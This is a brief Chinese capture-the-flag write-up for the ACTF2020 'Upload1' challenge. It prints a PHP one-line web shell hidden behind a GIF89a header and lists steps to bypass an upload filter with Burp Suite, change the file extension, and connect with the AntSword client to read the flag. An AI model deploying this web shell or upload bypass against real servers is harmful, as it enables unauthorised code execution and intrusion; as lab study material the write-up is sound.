[ACTF2020 新生赛]Upload1

1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马

GIF89a? <script language="php">eval($_REQUEST[1])</script>

2、使用bp抓包修改后缀，点击发送

3、不关浏览器的代理，在bp中将该包放行

4、用蚁剑连接

5、在根目录中找到flag